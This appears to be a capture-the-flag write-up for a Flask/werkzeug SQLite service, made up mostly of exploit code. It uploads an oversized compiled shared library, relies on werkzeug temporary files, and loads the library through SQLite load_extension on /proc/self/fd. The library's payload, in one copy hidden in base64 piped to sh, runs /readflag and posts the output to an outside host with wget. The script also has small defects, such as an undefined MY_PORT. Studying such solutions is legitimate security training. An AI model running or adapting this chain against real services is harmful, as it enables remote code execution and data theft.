1
WITH bytes(i, s) AS (
2
    VALUES(1, '') UNION ALL
3
    SELECT i + 1, (
4
        SELECT ((v|k)-(v&k)) & 255 FROM (
5
            SELECT
6
                (SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512('hxp{REDACTED}'), i, 1))) as k,
7
                (SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1))) as v
8
            FROM mw
9
        )
10
    ) AS c FROM bytes WHERE c <> '' limit 64 offset 1
11
) SELECT group_concat(char(s),'') FROM bytes;

1
The interface runs on [flask] which runs on [werkzeug]
2

3
Just like [last time nginx](hxp-CTF-2021-includers-revenge), werkzeug creates temporary files for file uploads. The file only has to be bigger than [500kB]

1
def default_stream_factory(
2
    total_content_length: t.Optional[int],
3
    content_type: t.Optional[str],
4
    filename: t.Optional[str],
5
    content_length: t.Optional[int] = None,
6
) -> t.IO[bytes]:
7
    max_size = 1024 * 500
8

9
    if SpooledTemporaryFile is not None:
10
        return t.cast(t.IO[bytes], SpooledTemporaryFile(max_size=max_size, mode="rb+"))
11
    elif total_content_length is None or total_content_length > max_size:
12
        return t.cast(t.IO[bytes], TemporaryFile("rb+"))
13

14
    return BytesIO()

1
#include <stdio.h>
2
#include <unistd.h>
3
#include <stdlib.h>
4

5
void flag() {{
6
    system("wget --post-data `/readflag` http://{my_host}:{my_port}");
7
}}
8

9
void space() {{
10
    // this just exists so the resulting binary is > 500kB
11
    static char waste[500 * 1024] = {{2}};
12
}}

1
from threading import Thread
2
import requests
3
import subprocess
4
from http.server import HTTPServer, BaseHTTPRequestHandler
5
from socketserver import ThreadingMixIn
6
import sys
7

8
EXPLOIT = 'rce.csv'
9

10
HOST = '127.0.0.1'
11
PORT = 9002
12

13
def send_rce():
14
    print('[+] uploader started', file=sys.stderr)
15
    while True:
16
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/import/",
17
        files={
18
            'file': open(EXPLOIT, 'rb')
19
        })
20
        print(r.status_code, "UPLOAD", file=sys.stderr)
21

22
def call_rce(fd):
23
    print('[+] caller started', file=sys.stderr)
24
    while True:
25
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/query",
26
        data={
27
            "sql": f"""select load_extension("/proc/self/fd/{fd}","flag")"""
28
        })
29
        print(r.status_code, "CALL", file=sys.stderr)
30

31
def compile_exploit():
32
    with open("rce.c", "w") as f:
33
        f.write(f"""
34
#include <stdio.h>
35
#include <unistd.h>
36
#include <stdlib.h>
37

38
void flag() {{
39
    system("echo d2dldCAtLXBvc3QtZGF0YT0idXNlcm5hbWU9JCgvcmVhZGZsYWcpIiBodHRwOi8vNTZkZThkNGUtMDdhOS00NjFmLWEyZjktY2E2OWUzZTNmNjcyLm5vZGU0LmJ1dW9qLmNuOjgxL2luZGV4LnBocA==|base64 -d|sh");
40
}}
41

42
void space() {{
43
    static char waste[500 * 1024] = {{2}};
44
}}
45
""")
46
    r = subprocess.run(["gcc", "-shared", "rce.c", "-o", EXPLOIT])
47
    if r.returncode != 0:
48
        exit(-1)
49

50
class Handler(BaseHTTPRequestHandler):
51
    def do_POST(self):
52
        content_len = int(self.headers.get('Content-Length'))
53
        flag = self.rfile.read(content_len)
54
        print(flag.decode())
55

56
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
57
    pass
58

59
def server():
60
    print('[+] http server started', file=sys.stderr)
61
    server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
62
    # we only need to handle one response
63
    server.handle_request()
64
    server.shutdown()
65

66
if __name__ == "__main__":
67
    compile_exploit()
68

69
    s = Thread(target=server, daemon=True)
70
    s.start()
71

72
    t1 = Thread(target=send_rce, daemon=True)
73
    t1.start()
74
    for i in range(7, 8):
75
        t2 = Thread(target=call_rce, daemon=True, args=(i,))
76
        t2.start()
77

78
    s.join()